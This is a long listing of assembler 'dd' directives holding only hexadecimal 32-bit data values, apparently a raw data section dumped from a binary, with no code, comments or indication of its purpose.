		dd 4BABC0DCh, 9056E4h, 26B9295Ah, 153AEAE2h, 0D6702402h
		dd 664722ECh, 9254A144h, 71BBE419h, 2610C410h, 6C802FC8h
		dd 0F38ABB1Dh, 73FC00BAh, 0A90862Ch, 0D1162788h, 544B5585h
		dd 0FBD4A4AAh, 24DE7060h, 1144D123h, 68830053h,	8731EDDEh
		dd 0A1150941h, 8402F58Fh, 0D0034D79h, 748950ACh, 0EB0705ECh
		dd 5053C74Fh, 0BAC084ACh, 26252E72h, 56896400h,	8AF6E685h
		dd 50B975ABh, 1447C80Ch, 843A79B5h, 21C09688h, 21C47DBBh
		dd 309127F0h, 0BB196002h, 0F060EC51h, 0F948DBE2h, 7AB703EEh
		dd 0F5B5DD7Ch, 4AC580D7h, 5F5938C1h, 0FB317710h, 0F83BC3ECh
		dd 58045974h, 3A2D10C0h, 0E3C98D00h, 7FA1E1A5h,	13770C17h
		dd 3161016h, 570F1040h,	0A7736F93h, 0AF400820h,	3BC44FC1h
		dd 0B6989450h, 0CB580E67h, 8589ED6Eh, 58824C4Ah, 0A00C599Ah
		dd 502290C5h, 1970820h,	4E594448h, 747FF10Bh, 0D1001F40h
		dd 0D61898CDh, 71387C8h, 1191D2CEh, 153D50DAh, 3C00D178h
		dd 5CEF5F8Eh, 0A0EE5037h, 1D3D3E04h, 4027E84Eh,	0C2E48379h
		dd 0D40FDB26h, 2752B5FAh, 0AD70D813h, 4F0E5377h, 219C302Dh
		dd 2F396684h, 93378039h, 860F0C79h, 0F0B000EBh,	8D6C32CAh
		dd 9700E915h, 99DFDDC5h, 282E63h, 0BBC6DAF4h, 6EFEEACCh
		dd 0DFF7600h, 4D01105Ch, 0A070072h, 9F08DFC4h, 1B01300Fh
		dd 90A623F7h, 85C84D60h, 0D3BE00E5h, 0D357834h,	0C600E7ECh
		dd 9DB06F23h, 697495h, 50E8AD0Fh, 87178B10h, 585CE600h
		dd 73806A33h, 8A8D1C27h, 887F4059h, 0C21E8601h,	0D4675Ch
		dd 360BE4Fh, 0A9B4CCh, 49402EFh, 0EB4DA140h, 3EDA5700h
		dd 43798436h, 0F92500D7h, 27BE5EBCh, 9F05DF35h,	0F3D970A5h
		dd 1A40EC43h, 0BBA18874h, 111E0018h, 1B6C958Bh,	25008024h
		dd 0B1A26E94h, 0A43D61h, 3BB32D2Ch, 0D962B6B2h,	3203F112h
		dd 6EBFF091h, 711BFCh, 54A2E0D2h, 4F5BE784h, 76503907h
		dd 0FF7D3CBh, 9F972380h, 0C94600EAh, 14A1CEE0h,	0F6002661h
		dd 58D89B8Fh, 1C7B2DE4h, 5EA9D787h, 0E3AC0082h,	4A16FF6Eh
		dd 8F9A5300h, 0F218F3ECh, 96E800E9h, 66BA8B6Ch,	58000995h
		dd 0B6A2AFB9h, 2499B0CEh, 57593Ah, 64B7B3CAh, 8B00F33Eh
		dd 0A7B6E111h, 24C95775h, 31C2C32h, 0CF831A35h,	0AA1EE7E0h
		dd 0F0BFF60Eh, 0E9D68C03h, 7044A073h, 0A8497ABBh, 12399Ch
		dd 0F6A4CA94h, 797AA6C5h, 19302800h, 0BAC9D11Eh, 83CB00C2h
		dd 771599AAh, 140092ABh, 533E89F6h, 39DFE9h, 2656F103h
		dd 0CFC48B7Eh, 90009A71h, 94E2DAA6h, 9CA79Bh, 686E9DC1h
		dd 0ACD8021h, 0D04D1F39h, 4200E2ECh, 7E39F4Eh, 1828D938h
		dd 0D86371EEh, 6A12D666h, 4C01A98h, 9648D85h, 0A89B54F1h
		dd 879C000Ah, 0D00470BCh, 9E121F80h, 0F0051A00h, 0AC25C134h
		dd 2403B027h, 62C7EAEh,	3983F860h, 0F2B8840Fh, 6B3CC0B9h
		dd 903A7502h, 0F3225008h
		dd 0A46A4878h, 0E080EF3Fh, 1ACE2EBEh, 0F300DF9Bh, 0D788242h
		dd 485C8F8Dh, 28802813h, 0FC2C2555h, 0CA985D00h, 0F7F2A4C5h
		dd 7CF10037h, 0FFA5CD74h, 4F1D430Bh, 4E00F658h,	918AA85Ah
		dd 0B6D10061h, 0D5EBE676h, 0AB001EE3h, 5166AA33h, 0FF3F0Eh
		dd 0A4CDC6D4h, 847DF943h, 0AFF74402h, 0F13DE8C0h, 0AB170084h
		dd 7D16F3F4h, 25FADE00h, 9DF59464h, 0E21103E1h,	8A011EC9h
		dd 17731112h, 0A4C24800h, 914ECh, 9AB1DD98h, 0E5A0026Ch
		dd 3D078100h, 57279B99h, 0C668017Bh, 0F5BE4AC8h, 0EA5A8386h
		dd 989C7CEDh, 90ADB90Dh, 0DC8000D4h, 81B492BFh,	29000161h
		dd 1A8727DFh, 0FC205603h, 3FF20151h, 8FAC8A32h,	90B8CC41h
		dd 95070B00h, 0C0221DB6h, 2BAB3FB0h, 7933EF80h,	0CD85D07Ch
		dd 80C3AF0Fh, 15D800DBh, 92206Fh, 1F90663Bh, 944CC016h
		dd 0C3985300h, 0BEF2D5D4h, 0C0900E6h, 924710FFh, 0DC03A8FAh
		dd 0DDEE57E8h, 0A87FC301h, 0A8D932AFh, 0B3A3E4h, 3384B2AEh
		dd 0A43971ADh, 1CFF3D12h, 0D41C10h, 6BF91260h, 243C2119h
		dd 0A81A8Ah, 9D659684h,	0F5000A64h, 90481ED6h, 0B3404Ch
		dd 9EB7E2DCh, 177273EAh, 0E38BEE01h, 8F1987B2h,	88A75880h
		dd 1C79353Bh, 9F3F731Eh, 64C0CD9Dh, 77512A40h, 545F000Bh
		dd 974E4A36h, 68241BE1h, 6F076CF3h, 0E9933DADh,	2C3A83E0h
		dd 0FCFF750h, 514932BBh, 0FC2EDC80h, 9C0CA9B6h,	2935CA56h
		dd 1CCC9032h, 0EEF7A7D9h, 0A152804Ch, 0FD952905h, 0B002AE2h
		dd 72C9B55Eh, 1BA2E38h,	0AF2F993Eh, 50168613h, 595FF18Ch
		dd 544CB007h, 1BA408E0h, 86504CC7h, 980D9A9Eh, 0A6470796h
		dd 0B7AEE5E8h, 0AF30F7FAh, 38267F82h, 0DE9A8C40h, 14886803h
		dd 991805FFh, 82E07BC1h, 2273005Eh, 0B8129586h,	3E17BB04h
		dd 26001170h, 0BC96C8F3h, 0CBF500F1h, 704AE0Fh,	0C2010C86h
		dd 0C0932611h, 0B4F94030h, 7C70002Ah, 165D0E24h, 41BA9707h
		dd 0C470056Ch, 1DFABA7h, 1BDB3DFEh, 20698327h, 0E83D7766h
		dd 74EC803Ah, 22ADD5CEh, 5CFA3Eh, 0F76866F1h, 0A3FEB942h
		dd 8A543616h, 3E004EA8h, 0FD97167h, 0C14864A8h,	9B2EC0D4h
		dd 1EEF5A81h, 4F5D0AE8h, 6340A2CEh, 0F89606D5h,	0F1334E00h
		dd 0C9D6B7C6h, 12D40019h, 0CF4FE840h, 0EF00E9FDh, 0D5DC313Eh
		dd 0E65442Fh, 3973D8BEh, 0D19D29E0h, 261DDBECh,	6BC0CFE9h
		dd 8308328Ch, 3DD007Eh,	4DC9DA0Bh, 0D60007F8h, 0E1BB1E02h
		dd 2865BAh, 73545689h, 2541CB6Bh, 71464700h, 0D2C77827h
		dd 9CF01BBh, 0CAE4C964h, 8854F0C4h, 578B1F00h, 81F2F028h
		dd 496C02C1h, 0E906CF9Fh, 0E7B87540h, 898EDD09h, 0C074C816h
		dd 0FD63005Ch, 680693E6h, 0B0E0473h, 0C0DCCBC3h, 0CD59293Bh
		dd 0D1B80F7Eh, 0C0DEFBD0h, 0EE7D935Bh, 500C2A9h, 644E9D89h
		dd 179EE435h, 817542F4h, 0E03F34E8h, 11C851DFh,	7B640854h
		dd 1A003C9Eh, 6F5829B4h, 57E0032h, 2DF7FF12h, 0DF00827Ah
		dd 0EACA93AAh, 0BE2758B7h, 0C31863B0h, 7CD4012h, 0AF6084D0h
		dd 0C420CE2Bh, 83832644h, 781E48D5h, 0A0D77B23h, 9109CCC2h
		dd 46F4E11Ch, 3E100001h, 787EDE18h, 832FBBD3h, 0C5D49812h
		dd 42A80E7Ch, 0A0408EB6h, 71869826h, 0B000B9B0h, 2718606Ch
		dd 5A722Ah, 41CA5949h, 0F5DE2428h, 6324007h, 80532970h
		dd 0B88FB0CBh, 436300FDh, 71E9CF0Dh, 3E0EE3BBh,	26355Dh
		dd 6A5B8B29h, 780F0770h, 90E2FC84h, 0A9329775h,	46818501h
		dd 0F49F0ED4h, 5716C8h,	6EE65F8Ah, 541E6619h, 0E71FD303h
		dd 0C8F07F4Ch, 0AFC978h, 67AB6B9Fh, 69DFA120h, 0E61E100h
		dd 0AA41B4DBh, 0A01A0615h, 2034C5CEh, 5011D80Fh, 0E34F5EE7h
		dd 0BA754577h, 3821C4B0h, 1F0F98E6h, 0C40720Bh,	2E0371E5h
		dd 0F72EEDB0h, 0FC006C2Bh, 186D2AAEh, 6301B070h, 6A140916h
		dd 6EFD07D0h, 0C87A1F00h, 0E3B04332h, 447F11h, 0F0968DEDh
		dd 84094146h, 6D0ECD73h, 445BFDF8h, 90C05433h, 0B6D78Bh
		dd 0A38C9FB0h, 99AD9A17h, 31297C00h, 0C6C01A19h, 0C8C300BBh
		dd 4D92B982h, 784C2FD8h, 0EA3000C4h, 0D4D31321h, 76BC00B2h
		dd 5B313832h, 0BB90F78Fh, 0EC6B7E26h, 0BB1B7903h, 1139000Eh
		dd 6C23D115h, 2B00376Eh, 86A6F8F6h, 739556h, 59962176h
		dd 4EBB1483h, 0CC821126h, 1B29C00h, 3FEFDD9Eh, 792C03F0h
		dd 6E408074h, 998912B5h, 1C904900h, 88F453B3h, 72DE0533h
		dd 0D01322C4h, 0C1E5E184h, 0FADD8101h, 6B299B9Ch, 5C00A828h
		dd 7F693258h, 20953951h, 8B04FD00h, 670E0B42h, 4480B5F6h
		dd 7D7C15BDh, 0F3F4C7B8h, 0C79C39h, 6019BEEAh, 340C179h
		dd 51E570AAh, 0BFD01AACh, 3070F2Fh, 0A2CD21E0h,	3048A130h
		dd 6ADE07C7h, 40194DDFh, 23F98F96h, 0E1041098h,	51CB9479h
		dd 0E8F8FE82h, 0A7FFFCh, 0F6D9D540h, 94596C2Eh,	53555607h
		dd 80E99843h, 0F8284074h, 7CCF00BCh, 2F4603D7h,	8000DEC0h
		dd 456C06A9h, 1482D3E3h, 0C8716E9Bh, 95350073h,	0FABE0C7Bh
		dd 0BB03B06Dh, 144B33E7h, 132AE844h, 0E4860041h, 0D60CCAD2h
		dd 70F86E0Bh, 0E7946B05h, 0B890AE46h, 0E8FD79h,	856F9CA1h
		dd 1FE4AA16h, 0B668C03h, 0C0D8FB94h, 3A9BFEh, 0C024BA74h
		dd 50695592h, 0DBBEA300h, 0A8BF97C8h, 190F007Fh, 9C4A5377h
		dd 0B607E8F1h, 0EB0C8DABh, 0B076D8A3h, 0B0A6CC05h, 49C70A6Ch
		dd 7F08AFAh, 91240360h,	426F9808h, 5458EDECh, 0AC2DD326h
		dd 23A04380h, 0F79BFE4h, 6A661A24h, 0E8F83F40h,	0D0009C82h
		dd 42360CC3h, 248A52h, 40ED3EC6h, 6A1B909h, 14BB822Ch
		dd 3527D05h, 7F55CC00h,	0A040BA4Fh, 61B5A8h, 0C7F32745h
		dd 48328E5Ah, 5C501500h, 7A1A282Dh, 0BD9F1276h,	8C60C00Fh
		dd 0CA24B148h, 0E709754Dh, 0D440102Dh, 96E900EEh, 46D1401h
		dd 4400183Dh, 0DB97FE5Ah, 0B9B51E7h, 234269B9h,	8900E8F8h
		dd 0B6DC5234h, 3FDA53h,	0A5C19958h, 5F804B23h, 0A771EB00h
		dd 98AA2C86h, 2B2A0073h, 0E4F31104h, 0A43ED097h, 1F007D77h
		dd 9FC77C70h, 2C5F940h,	0B789DC35h, 0B4805E31h,	51A9A15Ah
		dd 9E246FF2h, 6E408CC1h, 77138D2h, 7611E17Ah, 7521044h
		dd 0E90041ACh, 0DE8FB13Ch, 1F932CFAh, 80FD3618h, 86C9C3F9h
		dd 5E5DD9EDh, 0F4520008h, 77EB3223h, 0D8090016h, 0AF548D65h
		dd 0D277CDB8h, 0A62B73Eh, 98DDD90Ch, 0E8201297h, 701083h
		dd 17F93BB2h, 0D5B17256h, 6DDCDF02h, 0E0A6D4E4h, 43DBECh
		dd 0E91FEB0Eh, 62B3E581h, 6F5B8200h, 0BC2D694Fh, 0C7FAE3h
		dd 12E6D5DBh, 5DB7A57Bh, 14003CB8h, 0CC0EED9h, 0A3FACD4Ch
		dd 0D81CB089h, 47B700D2h, 0F061F86Ch, 4900DC4Dh, 93DF7FCCh
		dd 52FC9Ah, 6877E73Eh, 91E6B8B1h, 0CE1CD509h, 71138028h
		dd 0FCD01Eh, 0F812A0CDh, 7EDBACA5h, 26541600h, 0EA95891Fh
		dd 4E5200B0h, 0DAB8C5A4h, 0B97DF211h, 0B760F370h, 83F50710h
		dd 5AA7176h, 7A99EC2Ch,	0E4FC900Ch, 5A01E2FDh, 0DBA3D4A8h
		dd 90415010h, 4824BE4Bh, 0A16506C1h, 101F58ADh,	0A277A706h
		dd 2119BAh, 0C566734Fh,	20B4692Dh, 91294660h, 9CB967B2h
		dd 750E034Ch, 0EE80F852h, 7C9E7B27h, 80392A0Fh,	0FDACB08Dh
		dd 0EAD0078Ch, 0D07F6A70h, 0AA4C3C66h, 70439933h, 9507C96Eh
		dd 72E770h, 5B83EF6Bh, 0A4387509h, 414A100h, 0E7163226h
		dd 12680ACDh, 0B807263h, 0AD004664h, 92AAB7E8h,	7600917Ch
		dd 0F4E98613h, 0F6478E8Bh
		dd 89653BE4h, 5BAEEB03h, 0E2A02018h, 330023FCh,	0E747313Bh
		dd 7250AEAh, 0B97FDE2Ch, 3802A243h, 976CCC0h, 296D7E00h
		dd 0E2BBF428h, 0EB3600ACh, 0A39A8784h, 0D21F2D95h, 0A840A5EDh
		dd 9FDFE36Ah, 0D690001Fh, 28551144h, 0D1000E7Ah, 6484D88Ch
		dd 0A2039h, 0E20B5C4Eh,	4479CD83h, 193B3D00h, 0F0714B2Eh
		dd 387FB5h, 0ACCF9E87h,	0A225AE9Ah, 0CBDC000h, 0B685547Fh
		dd 51290A89h, 1FD90B56h, 0C245C09Bh, 15CA35DFh,	4D00AC7Ch
		dd 32B45B27h, 1B26D3Eh,	4A873CFEh, 0EF6EAD71h, 96930085h
		dd 0A4B9DD1Eh, 0D3FE490h, 0BD1CF748h, 65054591h, 0C8A41B33h
		dd 3FDBEE36h, 678F562Ah, 7C4064C1h, 6D0DF8EFh, 7D864A00h
		dd 0E469E5EEh, 0C6EC3C53h, 7FFE4C81h, 8081A2F1h, 552D36Ch
		dd 0E8FAD54Dh, 1D307004h, 4080B648h, 6D122E5Bh,	7029291h
		dd 443229FEh, 48A56054h, 203B00DFh, 0AEF40834h,	0DC74B02Bh
		dd 0D80EDD16h, 60C0D494h, 70DC9D9h, 0B3396B80h,	927C1006h
		dd 0E81F8DE9h, 45C3941Eh, 0F86FD2C3h, 5C54318h,	1C861D55h
		dd 201B836h, 9E3C13C1h,	40547C48h, 7C95652Eh, 0E98C0D06h
		dd 597384h, 8A7A5E6Ch, 5863D4F5h, 58455Dh, 300E5F3Dh, 1220F7FEh
		dd 0CB2891A9h, 0D117A020h, 872D181Bh, 0D2A17147h, 644C2097h
		dd 0BBB6977h, 609E2868h, 0F883370Bh, 42DF2758h,	0EC52466Ch
		dd 48A4BF0Fh, 203F01CFh, 1BD03CD1h, 96F260B3h, 51C2D627h
		dd 5C49FC00h, 96B994A2h, 58FB0078h, 4EFCB39h, 267C28C4h
		dd 0A095A074h, 98BF94B0h, 34D10048h, 242FCD3Fh,	4F001DDDh
		dd 4A0BBA33h, 1D545FB9h, 65A269ADh, 15474096h, 0FAE875h
		dd 92196310h, 48FE5BA2h, 0EF725200h, 166FED51h,	0DBD038E4h
		dd 9E05F800h, 0FA184889h, 0A9CFC22Ch, 23C74C00h, 0BFCCADh
		dd 6C10CE3Bh, 47EB3D88h, 0B10C3501h, 92129B50h,	0CF60C8h
		dd 963E56EFh, 1D03648h,	51EAF215h, 905F07B4h, 0A510588Dh
		dd 3F534788h, 0F1929Dh,	4AFD8E99h, 0CFFC9138h, 9CAF9F02h
		dd 80AE9077h, 8E7D7E04h, 986775A8h, 2A3033Ah, 0FAD4DF75h
		dd 555E12A0h, 92A253Ah,	0C1D09A52h, 0EFC803B8h,	5C48002Fh
		dd 0F342149Ch, 0B038D6B5h, 5D00FA35h, 95F1320Dh, 2EEB12E9h
		dd 9D7C7A1Ch, 9096C0E5h, 22D614BDh, 2E574600h, 0FD38F73Bh
		dd 5FCD00B2h, 187BC440h, 0B8785D72h, 4900C49Eh,	0A7F6B032h
		dd 0DE6E3FEBh, 80D33A9Ch, 0BBC77BE3h, 0EE00F9A9h, 1C1B751Dh
		dd 0EAB56CFAh, 32B20787h, 0E07F14CDh, 0D8B7A630h, 978DB400h
		dd 0E2F999F4h, 0C87000BCh, 9DD6D977h, 0BF2A1A6h, 0EA633C0Fh
		dd 0FA1E6062h, 284959h,	0E855EE66h, 84A8E140h, 1A016E75h
		dd 4764CB7Fh, 2CDC98B9h, 5FC300FAh, 0CEC522BCh,	2D0160ADh
		dd 5805F7A1h, 0DD4117D3h, 79E02166h, 8CEC0EDFh,	0ADACF65Ah
		dd 607AA40h, 0D2042F7h,	77A326F0h, 36570187h, 0F64786E6h
		dd 2F5080FDh, 0CBF26540h, 87090F59h, 89409C0Dh,	0FECAF921h
		dd 49F4FC00h, 0F8FB326Fh, 96F1038Ch, 8E2BEC54h,	15DC6800h
		dd 28211712h, 102D0182h, 0E5909FBEh, 0A486F4A3h, 0D758DC00h
		dd 6CFBECE7h, 0C2FD002Dh, 0FA7AB2E8h, 5F018BE5h, 0D0396E95h
		dd 0F24006AEh, 0A1711Dh, 20DC7751h, 1629F7D4h, 8961B000h
		dd 3906B8F8h, 7D2C0007h, 36FF9FCDh, 0BAB8258Eh,	0ECA0DE00h
		dd 0D845B1C2h, 0AB4E0011h, 1F0FC6Ah, 0F8BF81EBh, 0E62A03D8h
		dd 336C0D2Dh, 0BE265AF8h, 0F4829A00h, 3D637D41h, 0AEF300C6h
		dd 0F9289E36h, 0A600CB79h, 1872218Ah, 793ACD07h, 5EC300ECh
		dd 14DA0908h, 0B6E2165Dh, 0B56D9A00h, 0B2315A91h, 58AE6013h
		dd 0E1B14A5Bh, 29490D1Dh, 0C419D50Ah, 6B1D2000h, 0E17AD670h
		dd 60CEF052h, 95A51Bh, 0EE3A5D45h, 8B579AD3h, 0D5942900h
		dd 0DFE86FA7h, 0E1B51DCCh, 6EAE00D8h, 87919CACh, 0C70ED090h
		dd 8A58EEh, 7B072A98h, 31E31694h, 1EB80640h, 0FD0168ACh
		dd 688DDE5Fh, 0B08072A8h, 0FE2FECBFh, 300BD4C2h, 8E495BF1h
		dd 3709C2B9h, 82F88FD0h, 8FFDDAE0h, 0D38847D0h,	0AB81B375h
		dd 38800BFEh, 0C24F5CF0h, 0DC00F529h, 2B11CD14h, 7F7C6Ah
		dd 5C8284A0h, 41078643h, 0E3366C00h, 944E1D4h, 0D8FA0BC2h
		dd 93805315h, 0C531EA90h, 0D7916707h, 8494A0D1h, 0EBAD8B80h
		dd 9D58065Fh, 7918A2E9h, 8E29F400h, 7F54F1BAh, 191C60ABh
		dd 0A6917E8Ch, 78AF3C1Fh, 802CAABDh, 0AAEBC405h, 2A803442h
		dd 2847A7D6h, 1C62D8h, 0FA77A620h, 0CE3EC28Eh, 48C11500h
		dd 0F697CD53h, 28C90F1h, 0A962B642h, 0AAC0D6B2h, 0C903D220h
		dd 0D8FE0FDBh, 0E700C71Ah, 0F21C461h, 621355A5h, 635E80BCh
		dd 177057F0h, 0CEF8C800h, 3E10F1AEh, 9F1C0084h,	7CD18FC4h
		dd 0A7073461h, 48550A64h, 0A6C00C54h, 359FAEh, 66152FA6h
		dd 0CB3C8B9Ch, 0BD40141Ch, 85BE9280h, 7A4EB2E4h, 37BC005Bh
		dd 0A98C3B72h, 0E72D33E2h, 0E5641h, 0E82858E5h,	810160A2h
		dd 5E2BFF3Bh, 41D47536h, 0B1A51DC1h, 97D24E49h,	7B7EDC43h
		dd 0C668AEE8h, 0ADA05E13h, 0F1A82440h, 1E0D4EEBh, 801692E1h
		dd 6CFE800Eh, 0D900032Eh, 4C6FA1D4h, 3ADA73h, 852F75F8h
		dd 0F925B411h, 0B02CFC0Eh, 634BA0E1h, 0A2FB74B1h, 579C0192h
		dd 0AD827B6h, 4B990249h, 0A0770756h, 8B70E080h,	0ED2435C2h
		dd 0EA00607Bh, 73601C4Bh, 4BB01C1h, 1F346B19h, 1FE8470Ah
		dd 5E0F0CC3h, 24281107h, 0F95037h, 9A415FA0h, 13D0796h
		dd 90883EC6h, 57ADE22Ah, 0E040892h, 0D1586C15h,	0C6D58480h
		dd 0A21D0FABh, 7040DA19h, 8E7FBF20h, 846063E6h,	0EA83E364h
		dd 38FC0017h, 0B41B09E8h, 41005003h, 20BC7AB1h,	0F2A8AEh
		dd 0EEA64A8Ch, 84978191h, 75ED1B00h, 8A5542C6h,	563F000Fh
		dd 0F5353E8Dh, 8507924Dh, 0BDC3DD5Fh, 0E3904Ch,	8291C8ABh
		dd 4F6893CDh, 10312100h, 122FF2Bh, 986C0094h, 0E3AF08Dh
		dd 0C2006992h, 0A5192F89h, 0EFDCA0h, 7FE31C95h,	4A7B55D3h
		dd 40DB3E03h, 0F0EEE4D7h, 5F8152h, 9805E244h, 2D92BEC5h
		dd 59F40700h, 41F7E539h, 8F12305Ah, 0DC748C11h,	9F25D00h
		dd 19A34814h, 607700B0h, 335702D6h, 7100F64Dh, 819E858Bh
		dd 7BFACE14h, 7D5600DEh, 0DF6BA523h, 5AE6C4D0h,	4B0371F8h
		dd 5659D86Eh, 0DD509FE9h, 0F1AA413h, 12088234h,	0F9B8BFA2h
		dd 0FA22C280h, 0F500C22Dh, 6B58B971h, 3ACBA814h, 55077F92h
		dd 7E5D2AF6h, 61F52267h, 571ADD1Dh, 0D2E540D4h,	81FE2794h
		dd 5F006FB0h, 4D154942h, 8B2030h, 48037A62h, 112C7198h
		dd 0B70CC500h, 9F947204h, 32DA006Ch, 0C308D2EDh, 0B300C782h
		dd 22344754h, 729ED906h, 3C3D7D4Ch, 0EB833FB8h,	25758FE8h
		dd 131E8074h, 0F40760CEh, 0F06D069h, 0FC7F0018h, 2B0890EEh
		dd 0E874AEA6h, 0E76F9274h, 80F80F20h, 236D8F99h, 125E84Eh
		dd 36770AC0h, 0E0ECE9A2h, 2B036F5Bh, 132E8E20h,	653800FCh
		dd 6671E175h, 0DE0590F4h, 0EECB7D33h, 30F8401h,	69F82043h
		dd 7744A0D3h, 61CE0F23h, 0D18AF575h, 20D59050h,	0A70E0110h
		dd 37180201h, 0FA99E0B6h, 1E43F84Ch, 8E40CF4Ch,	0DFB4F162h
		dd 1489011Ah, 3CAFF12h,	0FA2160F7h, 67A39D00h, 6170505Ch
		dd 6813B99h, 0A44A6B83h, 8DD0978Ch, 2B00B47Fh, 5559B9EAh
		dd 193AE2h, 0C2231314h,	1DE0A169h, 0D4D43639h, 390031ECh
		dd 0C1A90B7Fh, 61ECE5h,	0C5144A83h, 0F6CC96EEh,	9775602h
		dd 0A0291260h
		dd 88662390h, 5C430780h, 0F07F6A52h, 854A7C07h,	0D4696C06h
		dd 26066DFh, 0C39BD60Fh, 9C8067A8h, 792790E5h, 1076274h
		dd 6B0FDA96h, 38C702C0h, 65242810h, 6A2800A0h, 0CC626678h
		dd 7D0A6DFEh, 0BD8D4BD5h, 3A9F305h, 89FBB042h, 0FDCCA1E9h
		dd 11C410AEh, 4610F12Ah, 2601B318h, 86A2A841h, 0D1D84C91h
		dd 431C002Eh, 11882BE0h, 0C401FB16h, 56356E27h,	41842D12h
		dd 0C067D077h, 9E74A6EFh, 30D8589Dh, 0AC211572h, 690067C6h
		dd 3B5D01Eh, 618AFB18h,	93F391DEh, 0F089B0FFh, 0C01C0E28h
		dd 0B0240511h, 18181694h, 19511211h, 43B0474h, 6AD573h
		dd 0FD0D7FCBh, 8976005Dh, 0A1DCB979h, 0C003D4EEh, 0F3CD13A3h
		dd 0C4FE9887h, 174A7E80h, 48E56Ah, 0A04DC08Bh, 4B00BE5Dh
		dd 0AFBA5984h, 13B95E69h, 3C4312Eh, 74C12120h, 0D46E0900h
		dd 0EF71DF1Fh, 0A94400EAh, 0DC27F6AAh, 0DD03FF77h, 10530BE5h
		dd 8FDAA869h, 0F9E61D68h, 7E36408Ah, 0ABB2829Ch, 0B5C43300h
		dd 7DEFAA08h, 0FEF60761h, 0A01BB8A1h, 7BFCE7B6h, 528D4700h
		dd 6CD0BF27h, 990E0002h, 9E5BE9C4h, 91004FC6h, 36716765h
		dd 1FB2D411h, 9C8B3BBBh, 0D8FB83A4h, 683DE7CDh,	0D5B780CAh
		dd 2A34371Eh, 999600B6h, 9CBC2961h, 0DDEA7FF0h,	0B8CB4D00h
		dd 7501D2BAh, 0D0E084h,	4397F4F7h, 15B95290h, 1BD4E800h
		dd 13DAD926h, 66CC007Bh, 0BF62B136h, 0E5639A56h, 0F882F019h
		dd 0EE43CB2h, 0D0304323h, 62E0F960h, 0C600F3E9h, 8B66EC69h
		dd 28CC3Bh, 36C8A0BCh, 25220884h, 7B981E71h, 0DD001479h
		dd 37307C5Bh, 2F036C97h, 1CDE270Ah, 0F3B34B00h,	3C7685h
		dd 7DC2BA24h, 59D5089Fh, 86BEF4A0h, 0A0025B8h, 9BB071FFh
		dd 21814Eh, 3CC4F4CAh, 0D9727A80h, 3D5FF805h, 80EAF534h
		dd 0C2CE1692h, 0A8C940C0h, 354F345h, 63E922CCh,	70EF5BFBh
		dd 31567C99h, 410A3601h, 517A0401h, 4DC1A440h, 18520091h
		dd 47CBE513h, 21006389h, 4C665C08h, 5FF0C7h, 0F3746AE0h
		dd 0EFAD2816h, 0EBABD4A1h, 80D9ECA9h, 55D7FE11h, 3F15DFh
		dd 0DB1B9D4Eh, 4F431234h, 0B0175900h, 0B619203Bh, 0B3BD0731h
		dd 9001A3ADh, 0EFFFF2B1h, 7B664F1Eh, 0C555BE40h, 20AF49Ch
		dd 9F5983Fh, 89C05F3Ah,	0F800DE7Bh, 0A14ECF5Dh,	0A8D1D79Dh
		dd 2E394h, 7DADF003h, 29365AC5h, 253438h, 0CABFC3DBh, 39DD8C83h
		dd 0A68556CDh, 4752781h, 432E28C0h, 0C8231659h,	960501h
		dd 1DC9CD73h, 0D148C3AAh, 961E48h, 498CBF32h, 7799A02Ah
		dd 1B3E004Eh, 0E1874DCEh, 0FC01E267h, 75AFB26Eh, 0D0404861h
		dd 807F1BFDh, 21033A0Bh, 0B6DD963Ch, 0CBF01408h, 0A604C420h
		dd 807A1AEBh, 0D5831330h, 0C2AAB207h, 0E9700A40h, 483269BDh
		dd 1600613Fh, 18FD04F7h, 0E7010BA3h, 1DDD7F43h,	50D91F8Fh
		dd 31BBC840h, 0C7D702A4h, 0F3595E08h, 82529480h, 790067D3h
		dd 767F21B2h, 1D9B72B3h, 0BD331697h, 5E934A80h,	0C77A142Eh
		dd 90262C92h, 0D800943Ah, 0D638ED3Eh, 0D55907AEh, 0A028E557h
		dd 11C0713Fh, 0B0A1A60Ah, 0FF80A076h, 0C13C042Fh, 155F0EABh
		dd 0B9A08F26h, 4C2E959Ah, 7C80BF00h, 0E3BEB465h, 0EDEC00E1h
		dd 75D28A59h, 880090E9h, 12EE749Ah, 621FACh, 8EF606Ch
		dd 0F868EA47h, 1C6AD70Fh, 0A0B78E55h, 0F597EBBCh, 23C20051h
		dd 15BF4BABh, 4203245Bh, 0A6A5BEA2h, 2C190029h,	54D97060h
		dd 2E0023FDh, 0F01DB6A0h, 3A6E7E90h, 8B070778h,	30259E75h
		dd 87083E3Bh, 0A0F3C00h, 3AD19C5h, 0F367564h, 0AAB1D7FCh
		dd 389E4BE0h, 2F0E201Bh, 40287B01h, 0CA587982h,	0AC3B1E1Fh
		dd 85B380DDh, 6AAF2D55h, 0C2F7F500h, 0C14481C5h, 6106304Bh
		dd 59672AECh, 7C9BD3Fh,	0F5D7BC63h, 0D01ECB63h,	0D4751Bh
		dd 0CFDBDAE1h, 0B9DCA956h, 875F5300h, 70249974h, 0E1CD1CE8h
		dd 82EC001Eh, 27694B85h, 0C51C1928h, 0C41F1700h, 5B7E543Eh
		dd 0EC3F0CC2h, 0F2EE73FFh, 0F1EDF01Dh, 0E4695E00h, 241C952Fh
		dd 9004FA22h, 0C7EA0078h, 71395F66h, 0F360005Ch, 727BFAA1h
		dd 4F18160Ch, 0CC10A612h, 54190534h, 80151C3Eh,	0F4110988h
		dd 750DC48h, 0C8F2A14h,	35A1E310h, 0F87D121Dh, 0FD8000ABh
		dd 4484488Ah, 9A84F554h, 12D7BB1Eh, 4840A156h, 6A53A93Eh
		dd 2E270024h, 1D48F5DEh, 987BA7h, 5F123000h, 25D63111h
		dd 0FB6C048Fh, 8048464Fh, 16CF473Ch, 0AC84580Eh, 19770C4Bh
		dd 0CE260076h, 38AABAEh, 7100285Bh, 0B857C5FFh,	0C569246h
		dd 24C190BDh, 22982131h, 0DAAFB600h, 0E6DD5469h, 0CC1F508Ah
		dd 0A3963EA8h, 101D1598h, 9900F312h, 2E6BCFE7h,	3D83A43h
		dd 58F45CC7h, 0B5C0DF92h, 51489581h, 875E8934h,	9DC0DD24h
		dd 718678h, 4D08CE6Bh, 0D6C7E5E9h, 7B00E872h, 4AB85FE3h
		dd 662E0Eh, 0F6A806BDh,	0B9E5C7ABh, 22BA1B00h, 4BA77523h
		dd 3FF703D6h, 42FA8724h, 0C35A5ED8h, 0A802040Eh, 1F8D40C8h
		dd 0F39F2C37h, 3D762BF4h, 0F080E0D8h, 7FA00E66h, 0AF0089ABh
